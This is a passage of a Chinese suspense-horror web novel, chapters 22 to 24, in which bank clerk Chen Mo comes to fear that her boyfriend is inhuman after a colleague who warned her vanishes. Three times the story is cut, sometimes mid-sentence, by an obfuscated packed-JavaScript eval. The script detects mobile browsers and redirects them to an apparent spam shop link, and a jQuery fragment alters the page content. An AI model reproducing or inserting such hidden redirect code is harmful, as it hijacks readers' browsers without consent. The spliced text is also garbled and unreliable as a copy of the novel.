老张的表情很认真，和平时那个懒洋洋的保安不一样。 “什么事？” 老张犹豫了一下。 “你那个男朋友……” 陈默的手顿了一下。 “他怎么了？” 老张看着她，眼神有点躲闪。 “我不知道该不该说。但我总觉得……不太对。” 陈默没说话。 老张继续说。 “上周，我在小区门口碰见过他一次。晚上，快十二点了。” 陈默等着。 “他站在那儿，没动。就站在小区门口，看着里面。” 老张皱起眉头。 “我开车路过，看见他了。本想打个招呼，但他没看见我。他就那么站着，一动不动的，站了很久。” 他顿了顿。 “我开过去之后，从后视镜看了一眼。你知道我看见了什么吗？” 陈默摇头。 老张的声音低下去。 “他不见了。” 陈默攥紧手指。 “不是走开的，是不见了。就一秒钟，刚才还在那儿，下一秒就没了。” 他看着她。 “你说，正常人能这样吗？” 陈默没说话。 老张叹了口气。 “我知道你可能不信。我自己都不信。但那天晚上，我亲眼看见的。” 他站起来。 “我就是想告诉你，小心点。那个人……不太对劲。” 他走到门口，回头看了她一眼。 “你是个好姑娘，别把自己毁了。” 门关上了。 陈默坐在那儿，手里的烟烧到了手指。 她没感觉。 二 下午的班，陈默更心不在焉了。 办错了一笔业务，被客户说了几句。她道歉，重办，脸上没什么表情。 老张在门口站着，时不时看她一眼。 那眼神，陈默知道。 他在担心她。 但她不知道该怎么回应。 说谢谢？ 说她早就知道了？ 说她男朋友不是人？ 她什么都不能说。 只能继续办业务，继续盖章，继续叫下一个号。 三 晚上下班，陈默没直接回家。 她在地铁站旁边的便利店门口站了一会儿，买了一瓶水，一个面包，一包烟。 第三包了。 她站在那儿，把面包吃了，水喝了。 然后点了一根烟，靠在墙上抽。 冬天的风很冷，吹得她直哆嗦。但抽着烟，好像就不那么冷了。 也许是心理作用。 她抽着烟，看着街上的车来车往。 脑子里想着老张的话。 “他不见了。” “就一秒钟，刚才还在那儿，下一秒就没了。” 她见过。 那天晚上，他站在黑暗里，眼睛亮得出奇。然后整个屋子就黑了，什么都看不见。 后来她晕过去了。 再醒来，他就不见了。 不，不是不见了。 是……消失了？ 她不知道。 她只知道，他确实不正常。 她早就知道了。 四 抽完烟，她把烟头扔进垃圾桶，走进地铁站。 晚高峰，人很多。她被挤在车门旁边，一只手拉着扶手，一只手护着包。 车窗外的隧道灯一盏一盏往后闪。 她看着那些光，突然想起一个问题。 老张看见他的那天晚上，是上周。 上周的哪天？ 她想了想。 应该是他出差那十八天里的事。 那时候他不在家。 他说出差了。 但老张在小区门口看见他了。 半夜十二点，站在小区门口，看着里面。 他在看什么？ 看她？ 看那个家？ 还是看别的什么？ 她不知道。 但她知道，他没出差。 他一直都在。 在某个地方，看着她。 五 到家的时候，屋里开着灯。 王志强坐在沙发上，看电视。 和平时一样。 他看见她进来，笑了一下。 “回来了？” 陈默点点头。 “嗯。” 她换鞋，放下包，走进卧室。 躺在床上，盯着天花板。 过了一会儿，他进来了。 走到床边，坐下。 床垫陷下去。 他看着她。 “今天怎么这么晚？” “加班。” 他点点头。 然后他伸出手，放在她脸上。 凉的。 还是凉的。 那只手在她脸上慢慢移动，从额头到眼睛，从眼睛到鼻子，从鼻子到嘴巴。 和平时一样。 她没躲。 躲不掉。 那只手在她脸上摸了一会儿，然后收回去。 “抽烟了？”他问。 陈默没说话。 他笑了。 “抽得越来越多了。” 他知道。 他一直都知道。 她抽了多少根，在哪儿抽的，什么时候抽的——他都知道。 她没问他是怎么知道的。 问了也没用。 他不会说真话。 就算说了，她也不敢信。 六 那天晚上，陈默又失眠了。 她躺在床上，睁着眼，盯着天花板。 王志强在旁边，睡着，呼吸均匀。 那股味道，越来越浓了。 她已经习惯了那个味道。或者说，她的鼻子已经闻不出来了。 但她知道它还在。 越来越浓。 她慢慢转过头，看他的脸。 黑暗里，那张脸，很平静。 没有发光，没有虫子，什么都没有。 但那个轮廓，看着看着，总觉得有点不对。 不是不对。 是……在变。 一点点地变。 她盯着那个轮廓，盯了很久。 然后她闭上眼睛。 不敢再看。 七 早上，陈默起床的时候，王志强已经不在了。 她洗漱，换衣服，化妆。 镜子里的自己，眼袋更黑了，脸色更灰了。 那双眼睛里的亮，还在。 越来越亮。 她盯着那双眼睛，看了很久。 然后她低下头，继续化妆。 遮瑕盖了三层，才把眼袋盖住。 粉底涂了两层，脸色才不那么灰。 口红涂上，看起来精神一点。 但那双眼睛，盖不住。 那点亮，就在眼眶里，怎么也盖不住。 她放下化妆刷，盯着镜子里的自己。 那个人，越来越陌生了。 八 到银行的时候，老张正在门口抽烟。 看见她，他愣了一下。 “陈默。” 她走过去。 老张看着她，表情复杂。 “你昨晚……没睡好？” 陈默点点头。 “嗯。” 老张想说什么，又咽回去。 最后只是叹了口气。 “进去吧，周行长刚才还问起你。” 陈默点点头，走进去。 换工装，坐到工位上，打开电脑。 屏幕亮起来的那一刻，她看见屏幕上有一条内部消息。 周行长发的。 “陈默，来我办公室一趟。” 她盯着那行字，看了三秒。 然后站起来，走过去。 九 行长办公室里，周行长坐在办公桌后面，正在看什么文件。 陈默敲门。 “进来。” 她走进去，站在办公桌前。 周行长抬起头，看着她。 那一眼，有点长。 “陈默，你最近怎么回事？” 陈默没说话。 周行长靠到椅背上。 “业绩下滑，客户投诉，上班走神——你自己说说，你这段时间在干什么？” 陈默低着头，盯着桌面。 “周行长，我……” “你别说话，听我说。”周行长打断她。 陈默闭上嘴。 周行长看着她，表情严肃。 “陈默，你在银行干了五年了。五年，说长不长，说短不短。你的业务能力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387634|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我知道，没问题。但你这个人——太闷了。” 陈默攥紧手指。 “客户需要的是热情，是服务，是会来事的人。你呢？你就知道办业务，办完就下一个。你让客户怎么记住你？” 周行长顿了顿。 “还有那个对公户。我跟你说过多少次了？月底之前必须开过来。现在还有几天？你自己算算。” 陈默低着头，没说话。 周行长叹了口气。 “陈默，我不是要为难你。我是为你好。你知道现在外面多少人想进银行吗？你知道你这个位置多少人盯着吗？” 她站起来，走到陈默面前。 “你要是还想干，就给我打起精神来。那个对公户，赶紧办好。办好了，你还能留下来。办不好——” 她没说完。 但陈默知道她想说什么。 办不好，就走人。 十 从行长办公室出来，陈默站在走廊里，靠着墙。 脑子里一片空白。 对公户。 又是对公户。 她怎么开口？ 她怎么跟王志强说？ 她敢说吗？ 她不知道。 她只知道，如果办不好，她连这份工作都没了。 没了工作，她怎么办？ 没钱，没地方去，没人在乎。 她就真的是一根烟了。 烧完就没了。 她站了很久。 然后她掏出手机，打开王志强的对话框。 打了一行字： “你那个对公户，什么时候能办？” 盯着看。 删掉。 又打： “周行长又催了。” 盯着看。 删掉。 又打： “今晚早点回来，有事跟你说。” 盯着看。 三秒。 五秒。 十秒。 发送。 屏幕显示发送成功的那一刻，她把手机塞进口袋。 然后转身，走回工位。 继续办业务。 继续叫号。 继续盖章。 像什么都没发生过一样。 十一 晚上下班，陈默回到家。 屋里开着灯。 王志强坐在沙发上，看电视。 他看见她进来，笑了一下。 “回来了？” 陈默点点头。 “嗯。” 她换鞋，放下包，走到沙发前。 站在他面前。 他抬头看她。 “怎么了？” 陈默张了张嘴。 “那个对公户……什么时候能办？” 王志强看着她，没说话。 那两只眼睛，在灯光下，有一点发亮。 “周行长催了。”她说，“月底之前必须办好。” 王志强还是没说话。 就那么看着她。 看了很久。 然后他笑了。 那个笑，和平时一样。 “行。”他说，“明天办。” 陈默愣了一下。 “明天？” “嗯。明天上午，我去你们行。” 她看着他，不敢相信。 就这么简单？ 他答应了？ “怎么了？”他问，“不是你要办的吗？” 陈默摇摇头。 “没……没事。” 她转身，走进卧室。 躺在床上，盯着天花板。 脑子里乱成一团。 他答应了。 明天就去办。 为什么？ 他真的想帮她？ 还是……有什么别的原因？ 她不知道。 但她知道，从明天开始，那个对公户就开好了。 周行长不会再说她了。 她能留下来了。 然后呢？ 然后……就这样过下去？ 她不知道。 她只知道，她现在睡不着。 十二 那一夜，陈默又没睡。 她躺在床上，睁着眼，盯着天花板。 王志强在旁边，睡着，呼吸均匀。 那股味道，越来越浓。 她转过头，看他的脸。 黑暗里，那张脸，很平静。 但她知道，那不是平静。 是别的。 是等。 等她。 等什么？ 等她说分手？ 等她逃跑？ 等她死？ 她不知道。 但她知道，她必须撑下去。 撑到明天。 撑到对公户办好。 撑到周行长满意。 撑到……不知道什么时候。 她闭上眼。 黑暗里，那双发光的眼睛，一直在那儿。 看着她。 等她。 --- 第二十二章完 23. 第二十三章 老张失踪了 第二十三章开户 一 老张说完那些话的第二天，王志强来银行了。 陈默记得那天早上出门的时候，他还躺在床上，迷迷糊糊地问她“今天几号”。她说了日期，他“嗯”了一声，翻个身继续睡。 她没多想。 九点半，她正在给一个客户办定期转存，老周从门口走过来，轻轻敲了敲她的柜台玻璃。 “陈默，你男朋友来了。” 她愣了一下，抬起头。 王志强站在大厅里，穿着那件深灰色的夹克，手里拎着一个文件袋。他正和周行长说话，周行长笑得眼睛都眯起来了，不停地点头。 陈默看着那个画面，有点恍惚。 周行长平时对她什么样，她太清楚了。说话从来不超过三句，眼神从来不超过两秒，语气从来不超过一个调。但此刻，她站在王志强面前，笑得像见了亲兄弟，眼角的鱼尾纹和老面馒头一样裂开。 “王总，您亲自来了？坐坐坐，这边请。” 王总。 陈默从来没听过周行长叫谁“总”叫得这么顺口。 王志强笑着摆摆手。 “周行长客气了，就开个户，小事。” “那怎么行？您这种大客户，我必须亲自接待。” 周行长把他往VIP室引，路过陈默窗口的时候，王志强停下来，往里看了一眼。 陈默和他对视了一秒。 他笑了一下，什么都没说，跟着周行长走了。 二 VIP室的门关上了。 陈默坐在工位上，盯着那扇门，脑子里有点乱。 王志强来开户。 就是那个她催了无数次的“对公户”。 周行长亲自接待。 笑得眼睛都眯起来。 她想继续办业务，但手有点抖。 叫号，下一个。 客户走过来，递进单子。 她接过，办理，盖章，递回。 下一个。 再下一个。 眼睛却总往VIP室那边飘。 那扇门一直关着。 三 大概二十分钟后，门开了。 周行长先走出来，脸上挂着那种陈默从来没见过的笑——殷勤的，谄媚的，甚至有点巴结的。 “王总，您慢走，以后有什么需要随时找我。” 王志强跟在后面，手里拎着那个文件袋，表情和平时一样。 “周行长留步，我们家陈默麻烦周行长多多照顾，她性格比较内向，也比较轴，有得罪的地方还请周行长多多包涵。改天请你吃饭。” “王总这说的哪的话，应该我请您才对，陈默在我手下做事您就放心吧！” 两人在门口又寒暄了几句。 陈默低着头，假装在办业务，但余光一直盯着那边。 王志强要走了。 但他没直接走。 他转过身，在大厅里扫了一眼。 扫过叫号机，扫过等候区，扫过填单台—— 最后停在老张身上。 老张坐在工位上，正在办业务，没抬头。 王志强看了他三秒。 就三秒。 然后他转身走了。 周行长送到门口，一直看着他的背影消失在门外，才转过身来。 她走回大厅，路过陈默窗口的时候，脚步顿了一下。 “陈默。” 陈默抬起头。 周行长看着她，脸上的笑还没完全收回去，但那眼神已经变回平时那样——公事公办的，带着点不耐烦的。 “那个户开好了。以后好好维护。” 就这一句。 然后她走了。 陈默坐在那儿，看着她的背影。 刚才还对王志强笑得那么殷勤，现在对她又是这副样子。 她突然明白了。 这大概就是她能当上行长的原因。 四 中午休息，陈默去茶水间接水。 老张也在。 他站在饮水机旁边，端着杯子，不知道在想什么。 陈默走过去。 “张哥。” 老张转过头，看着她。 那眼神，有点奇怪。 “陈默。” 陈默接完水，站在他旁边。 “怎么了？” 老张摇摇头。 “没事。” 他端着杯子走了。 陈默看着他的背影，有点纳闷。 老张今天话特别少。 平时他总会聊几句，说今天遇到什么奇葩客户，说周行长又发脾气了，说他养的乌龟最近不肯吃东西。 今天什么都没说。 五 下午上班的时候，陈默忍不住往老张那边看。 他一直在办业务，和平时一样。叫号，办业务，盖章，叫下一个。 但总觉得哪里不对。 说不出来。 就是不对。 快下班的时候，老张站起来，去了一趟洗手间。 路过陈默工位的时候，他停了一下。 “陈默。” 陈默抬起头。 老张看着她，表情有点复杂。 “你那个男朋友，今天来开户了？” 陈默点点头。 “嗯。” 老张张了张嘴，想说什么。 但最后只是叹了口气。 “没事。” 他走了。 陈默看着他的背影，心里有点不安。 老张想说什么？ 六 那天晚上，陈默回到家。 王志强已经在家里了。 他坐在沙发上，看电视，和平时一样。 她换鞋，放下包，走过去坐下。 他没像平时那样伸手搂她，就坐在那儿，看着电视。 陈默也没说话。 两个人就那么坐着。 电视里放着什么新闻，主持人的声音平平的，没什么起伏。 过了一会儿，王志强开口了。 “今天那个老头，是你同事？” 陈默愣了一下。 “哪个？” “坐你对面的那个。” 老张。 “嗯，他是我师傅，我刚入行时他带的。” 王志强点点头。 没再说话。 陈默看着他，想从他脸上看出点什么。 但他脸上什么表情都没有。 就那么看着电视。 七 那天夜里，陈默做了个梦。 梦里老张站在她面前，穿着那件深蓝色的工装，袖口磨得发白。 “陈默，”他说，“小心点。” 她想问小心什么。 但老张转身走了。 越走越远，越走越远。 她追不上。 然后她就醒了。 凌晨三点。 王志强在旁边睡着，呼吸均匀。 她躺在那儿，盯着天花板，心跳得很快。 老张那句话，在梦里也在现实里。 “小心点。” 小心什么？ 八 第二天早上，陈默到银行的时候，七点五十。 老张的工位空着。 她看了一眼，没多想。也许堵车。 八点，没来。 八点十分，没来。 八点半晨会，周行长点名点到“张建国”的时候，没人应。 陈默这才觉得不对。 老张八年没迟到过。 她掏出手机，给老张打电话。 关机。 又打了一遍。 还是关机。 发微信。 没回。 九 一上午，陈默都心不在焉。 办错了两笔业务，被客户说了几句。她道歉，重办，脸上没什么表情。 眼睛却一直往那个空位看。 老张的水杯还在桌上。那个旧水杯，白色的，杯壁上有一圈茶渍，把手那里缺了一个小口。他用了好多年了，一直舍不得换。 他的文件夹还码在那儿，整整齐齐一摞。他习惯把今天要办的业务提前准备好，按时间顺序排好。 他的工装外套还搭在椅子上。深蓝色的，袖口磨得发白。 人不在。 一切都和他平时一样。 但人不在。 十 中午休息，陈默去人事部找小李。 “小李，老张今天请假了吗？” 小李正在吃饭，抬起头。 “没有啊，他没来，电话也打不通。” 陈默攥紧手指。 “他昨天……有什么异常吗？” 小李想了想。 “没有吧？下班的时候还跟我打了个招呼，说‘明天见’。” 明天见。 今天他没来。 十一 下午三点，陈默去找周行长。 周行长在办公室，正在打电话。陈默站在门口等了一会儿，等她挂了电话才敲门。 “进来。” 陈默走进去。 “周行长，老张今天没来，电话也打不通。” 周行长抬起头。 “我知道，人事跟我说了。” “要不要报警？” 周行长皱起眉头。 “才一天，报什么警？” 陈默看着她。 周行长也看着她。 “陈默，我知道他带你入行。但一天没来，不算失踪。明天再说。” 陈默站着没动。 “他八年没请过假。” 周行长叹了口气。 “行，我知道了。我会让人事再联系他。你先回去工作。” 陈默转身走了。 十二 走出行长办公室，陈默站在走廊里，靠着墙。 脑子里反复转着一个画面。 昨天，王志强走之前，看了老张一眼。 就三秒。 然后今天，老张没来。 她想起老张昨天下午说的话。 “你那个男朋友，今天来开户了？” 她想起老张想说什么又咽回去的样子。 她想起老张最后那个眼神。 那个眼神，现在回想起来，带着一点害怕。 老张在害怕什么？

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387635|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 十三 晚上下班，陈默一个人走出银行。 天已经黑了，路灯亮着，街上人不多。 她站在门口，看着那条走了五年的路。 平时都是和老张一起走一段。 今天只有她一个人。 地铁上人很多，她被挤在车门旁边，看着窗外隧道里的灯一盏一盏往后闪。 脑子里全是老张。 老张在哪儿？ 为什么不接电话？ 为什么关机？ 是不是…… 她不敢往下想。 但她控制不住自己。 那个念头一直在那儿。 王志强看了他一眼。 然后他就不见了。 十四 出了地铁站，陈默往小区走。 走到楼下的时候，她抬头看七楼的窗户。 亮着灯。 王志强在家。 她站在那儿，看着那扇窗，突然意识到一件事—— 最近，他每天都在。 没有应酬，没有酒局，没有“晚上不回来”。 她几点到家，他几点都在。 等她。 像专门在家盯着她。 这个念头一冒出来，她后背一阵发凉。 她在楼下站了很久，才走进去。 十五 推开门，屋里开着灯。 王志强坐在沙发上，看电视。 听见门响，他转过头，笑了一下。 “回来了？” 陈默点点头。 “嗯。” 她换鞋，放下包，走进客厅。 他拍了拍身边的位置。 “过来坐。” 她走过去，坐下。 他伸手把她搂过去。 “今天怎么这么晚？” “加班。” 他没再问。 电视里放着什么综艺节目，罐头笑声一阵一阵的。 陈默靠在他身上，一动不动。 脑子里却在想另一件事。 老张失踪那天，他在家吗？ 她记不清了。 她只记得，他看了老张一眼。 然后老张就不见了。 十六 那天夜里，陈默失眠了。 她躺在床上，睁着眼，盯着天花板。 王志强在旁边，睡着，呼吸均匀。 她慢慢转过头，看着他的侧脸。 黑暗里，那张脸很平静。 但她知道，那不是平静。 是别的。 她不知道那是什么。 但她想起一件事—— 老张看见过他。 在小区门口，半夜十二点，站着，一动不动，然后突然不见了。 老张告诉她了。 然后老张就不见了。 她盯着那张侧脸，盯了很久。 那只凉的手，会不会也碰过老张的脸？ 那个黑暗里的东西，会不会也站在老张的床边？ 她不知道。 但她知道，她害怕了。 十七 第二天，老张还是没来。 电话还是关机。 微信还是没回。 周行长报了警。 警察来了，问了几个人，做了笔录，走了。 陈默被叫去问话的时候，警察问她老张最近有没有异常。 她犹豫了一下。 “没有。” 她没提王志强。 她不知道该怎么说。 说他在小区门口见过我男朋友然后就不见了？ 说王志强开户那天看了他一眼？ 警察会信吗？ 她自己都不确定是不是真的。 十八 晚上回家，王志强又在。 坐在沙发上，看电视。 和昨天一样。 和前天一样。 和每一天一样。 陈默换鞋，放下包，走过去坐下。 他伸手搂她。 她没躲。 电视里放着什么，她没看进去。 她只是靠在那个散发着油味的胸口，想着一个问题—— 老张在哪儿？ 那只凉的手，有没有碰过他？ 那片黑暗，有没有吞没过他？ 她不知道。 她只知道，她不敢问。 不敢问王志强。 不敢问任何人。 因为问了，也许下一个不见的，就是她。 十九 那天夜里，陈默又做了那个梦。 梦里老张站在她面前，穿着那件旧工装。 “陈默，”他说，“小心点。” 然后他转身走了。 越走越远。 她想追，但迈不动腿。 老张回过头，看了她一眼。 那眼神，带着害怕。 然后他就消失在黑暗里。 陈默醒了。 浑身冷汗。 王志强在旁边睡着，呼吸均匀。 她躺在那儿，盯着天花板，一直到天亮。 --- 第二十三章完 24. 第二十四章 断线重连 第二十四章断线重连 一 老张失踪的第二十三天。 陈默坐在工位上，盯着电脑屏幕，手指机械地敲着键盘。一笔业务办完，叫下一个号，再办一笔，再叫下一个号。 生活就是这样。 诡异又平淡地过着。 老张的工位还空着。他的水杯还在，那个缺了口的白瓷杯；他的文件夹还在，整整齐齐一摞；他的工装外套还在，深蓝色的，袖口磨得发白。 人事说先放着，万一哪天联系上家属呢。 所以那些东西就那么放着。 像在等他回来。 但陈默知道，他不会回来了。 她不知道为什么知道。 就是知道。 二 每天晚上回家，都是一样的场景。 推开门，屋里开着灯。 王志强坐在沙发上，看电视。 听见门响，他转过头，笑一下。 “回来了？” 陈默点点头。 “嗯。” 她换鞋，放下包，走过去坐下。 他伸手搂她。 她靠在他身上。 电视里放着什么，她看不进去。 这种日子，过了二十三天了。 每天都是这样。 一模一样。 有时候她会想一个很荒谬的问题—— 他是不是一直坐在这儿？ 从她早上出门开始，就一直坐在这儿？ 她早上八点出门，他坐在沙发上。 她晚上七点回来，他还在沙发上。 位置没变，姿势没变，连电视里放的节目都差不多。 就像她一出门，他就断线了。 像一台待机的机器，屏幕黑着，风扇停转，什么都不做。 然后她一推门，他就重连了。 屏幕亮起来，风扇转起来，开始运行“丈夫”这个程序。 “回来了？” 笑一下。 拍拍身边的位置。 伸手搂她。 每天都一样。 一模一样。 这个念头很荒谬，但陈默控制不住。 她试过观察细节。 有一天，她特意在出门前看了一眼他穿的什么衣服。 灰色卫衣，黑色运动裤。 晚上回来，他还是那身。 灰色卫衣，黑色运动裤。 没换。 但明明她出门的时候，他穿着那身坐在沙发上。 她一整天不在，他难道没动过？ 没上厕所？没喝水？没吃饭？ 第二天，她又试了一次。 这次她出门前，偷偷在茶几上放了一根头发。 细细的，黑色的，就放在遥控器旁边。 晚上回来，那根头发还在原地。 一模一样的位置。 没动过。 他难道一整天没碰过遥控器？ 第三天，她更过分了。 出门前，她在厨房门口里滴了一滴油。 就一滴，看得见。 晚上回来，那滴油还在。 没被踩过。 一整天，他没进过厨房？ 她不敢再想下去了。 三 第二十三天下午，陈默下班了。 走出银行大门，天已经黑了。十二月天黑得早，路灯亮着，街上人来人往。 她站在门口，看着那些人。 有人在打电话，有人在等车，有人拎着菜匆匆走过。 都很正常。 只有她不正常。 她不想回家。 那个家，有他在。 那个坐在沙发上等她的人。 那个一整天可能都没动过的人。 那个只有她回来才“重连”的人。 她不想回去。 她站在门口，站了很久。 然后她转身，往另一个方向走。 四 走了大概十分钟，她看见一家咖啡店。 很小的一家店，暖黄的灯光从窗户透出来，里面坐着几桌客人，有人在看书，有人在聊天，有人在敲电脑。 陈默推门进去。 门上的铃铛响了一下。 店员抬起头，笑着说“欢迎光临”。 她找了个靠窗的位置坐下。 窗外是街，车来车往。 很正常的世界。 她坐在这儿，像一个正常人。 “您好，请问喝点什么？” 店员是个年轻女孩，扎着马尾，笑得很甜。 “拿铁。” “好的，稍等。” 她走了。 陈默转过头，继续看窗外。 窗玻璃上有一层薄薄的水汽，外面的灯光变得朦胧。她看着那些模糊的光点，脑子里空空的。 什么都不想。 就这样坐着。 挺好。 五 店员端咖啡过来。 放下杯子的时候，她看了陈默一眼。 “小姐，有位先生让我把这个给您。” 一张纸条。 叠得整整齐齐的。 陈默愣住了。 “什么先生？” 店员摇摇头。 “不知道，他刚才走的时候给我的，说等那位靠窗的女士来了，把这个给她。我问他是谁，他没说就走了。” 陈默接过纸条。 店员走了。 她低头看着那张纸条。 普通的白纸，普通的叠法。边角有点毛糙，像是从笔记本上撕下来的。 她打开。 上面只有一行字，圆珠笔写的，字迹有点潦草： “真正的他，不能吃你做的饭。” 陈默盯着那行字，看了很久。 心跳得很快。 新规则。 又是新规则。 和那张旧纸条一模一样的字迹。 那个老人。 那个雨天来存一分钱的老人。 他还活着？ 还是……别人？ 她猛地抬起头，往窗外看。 街上人来人往。 没有老人。 没有可疑的人。 只有普通的行人，匆匆走过。 她站起来，走到门口，推开门，往两边看。 左边是便利店，亮着灯，有人在排队结账。 右边是水果店，老板正在往外搬箱子。 没有人回头看她。 没有人可疑。 她站了一会儿，冷风吹得她直哆嗦。 然后她回到座位上。 咖啡还冒着热气。 她把那张纸条看了又看。 “真正的他，不能吃你做的饭。” 什么意思？ 六 她在咖啡店坐了很久。 咖啡凉了，她没喝。 窗外天更黑了，人少了，车也少了。路灯亮着，照着空荡荡的街。 店员过来问她还要不要点什么，她摇摇头，结了账，站起来。 走出咖啡店的时候，冷风扑面而来。 她把纸条攥在手心里，攥得紧紧的。 往家走。 脑子里一直在想一个问题。 她做的饭。 她做过饭吗？ 当然做过。 七 刚在一起的时候，她经常做饭。 那时候租的房子小，厨房也小，转个身都费劲。但她喜欢做饭，喜欢看他吃她做的饭。 那时候他什么都吃。 做得不好也吃。 有一次她做糊了，他也吃完了。 她问他好吃吗，他说好吃。 她不信，他说真的好吃，你做的都好吃。 他说我好养活，你给我两个馒头我都能吃。 那时候他多好啊。 后来呢？ 后来…… 八 不知道从什么时候开始，他变了。 也不是变，就是…… 他开始挑毛病了。 第一次，她做了红烧肉。 他吃了两口，说：“今天盐放多了吧？” 她尝了一口，不咸啊。 但他说多了，她就说“下次少放点”。 第二次，她做了鱼。 他吃了两口，说：“有点腥。” 她愣了，鲈鱼她处理得很干净，不腥啊。 但她没说什么，就说“下次换一种鱼”。 第三次，她做了青菜。 他吃了两口，说：“炒老了。” 她看着那盘翠绿的青菜，火候正好。 但她还是说“下次注意”。 一开始就是这样。 他说什么，她就听着。 她想，可能是他口味变了。 可能是她真的做得不好。 可能是他厌倦了她 可能是…… 总之她没多想。 九 但他从来不会发火，不会骂人。 就是很平常地说一句。 “咸了点。” “有点腥。” “炒老了。” 说完继续吃，吃几口，放下筷子。 她问他怎么不吃了，他说饱了。 她问他是不是不好吃，他说还行。 就是很正常的反应。 没有任何可疑的地方。 就是普通夫妻之间那种“你做的菜我不太爱吃”的日常。 所以她从来没往别处想。 她想，可能她真的不擅长做饭。 那就不做呗。 反正他会做。 十 后来他真的开始做饭了。 他记得陈默爱吃鸡，总会炒鸡给陈默吃。 其实王志强也不太擅长做饭，他总是炒不熟鸡杂，他会把鸡杂端到一边告诉陈默别吃了。他会炖一大盆又腥又没味的鱼，然后不好意思的给陈默说“哎呀宝贝，别吃这个菜了，这个鱼我吃。” 他总会在做饭的时候就把垃圾收拾了，把台面擦干净。 偶尔陈默再做的时候，他也不说什么了，就是吃得少。 每个菜吃一两口，然后放下筷子。 她还是问他，好吃吗？ 他说还行。 饱了吗？ 饱了。 就是很正常的对话。 她没觉得有什么不对。 十一 只有两次，他生病的时候，她做了饭。 第一次他感冒，想吃面。 她下了西红柿鸡蛋面，端到他面前。 他吃了两口。 “有点酸。”他说。 她愣了，西红柿鸡蛋面当然会酸啊。 但她没说什么，就说“下次少放点西红柿”。 他点点头，继续吃。 吃了小半碗，放下了。 她问他怎么不吃了，他说没胃口。 很正常。 生病嘛，没胃口正常。 第二次他肠胃炎，她煮了皮蛋瘦肉粥。 端到他面前。 他吃了两口。 “有点腻。”他说。 她愣了，皮蛋瘦肉粥，腻吗？ 但她还是说“下次煮清淡点”。 他点点头，继续吃。 吃了小半碗，放下了。 还是没胃口。 很正常。 生病人就这样。 她从来没觉得有什么不对。 那些对话，那些反应，都太正常了。 正常到根本不值得记住。 正常到她现在回忆起来，都要使劲想才能想起来。 十二 但现在，她突然想起来了。 那些“正常”里，有一个共同点—— 他从来没吃完过她做的饭。 从来没吃完过。 不管是什么。 红烧肉，鱼，青菜，面，粥。 他永远只吃几口，然后放下筷子。 永远有理由。 咸了，腥了，老了，酸了，腻了。 永远有理由。 但那些理由，都太正常了。 正常到她从来没怀疑过。 十三 陈默攥着那张纸条，往家走。 脑子里反复转着一个念头。 他不能吃她做的饭。 不能吃。 那他以前那些“正常”的反应…… 是装的？ 还是…… 她不知道。 她只知道，她必须弄清楚。 十四 到家的时候，已经快九点了。 她站在楼下，抬头看七楼的窗户。 亮着灯。 他在家。 她深吸一口气，走进去。 电梯上行，门开，掏钥匙，开门。 屋里开着灯。 王志强坐在沙发上，看电视。 听见门响，他转过头，笑了一下。 “回来了？” 陈默点点头。 “嗯。” 她换鞋，放下包，走进客厅。 他拍了拍身边的位置。 “过来坐。” 她走过去，坐下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387636|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸手搂她。 她靠在他身上。 一切都和每天一样。 一模一样。 就像她只是离开了五分钟，而不是好几个小时。 就像他一直坐在这儿，从来没动过。 就像她一出门，他就断线了。 她一回来，他就重连了。 十五 陈默靠在他身上，闻着那股淡淡的油味。 比以前浓了一点。 但也不算太明显。 她坐了一会儿，突然开口。 “你饿不饿？” 他愣了一下。 “什么？” “我给你下碗面。” 他没说话。 就看着她。 那两只眼睛，在灯光下，和平常一样。 没有发光，没有异常。 就是普通人的眼睛。 他看着她，看了几秒。 然后他笑了。 那个笑，也和平时一样。 温暖，平常，没有任何特别。 “好啊。”他说。 十六 陈默站起来，走进厨房。 打开冰箱，拿了鸡蛋，西红柿，挂面。 点火，烧水。 切西红柿的时候，她回头看了一眼。 王志强还坐在沙发上。 没有跟过来。 没有站在门口看她。 就坐在那儿，看电视。 和平时一样。 她转回去，继续切。 水开了，下面，打鸡蛋，放西红柿。 香味飘起来。 她盛出来，端到饭桌上。 “好了。” 王志强站起来，走过来，坐下。 拿起筷子。 他看着那碗面。 看了一会儿。 然后他抬起头，看着她。 笑了一下。 “看起来不错。” 他低下头，开始吃。 第一口。 第二口。 第三口。 他一口一口地吃，没有停顿。 没有说酸。 没有说任何话。 就那么吃。 一碗面，他吃完了。 放下筷子，他抬起头，看着她。 “好吃。”他说。 十七 陈默站在那儿，看着他。 他吃了。 他吃完了。 他没挑毛病。 和以前完全不一样。 但他说“好吃”的时候，表情很正常。 笑也正常。 眼睛也正常。 没有任何诡异的地方。 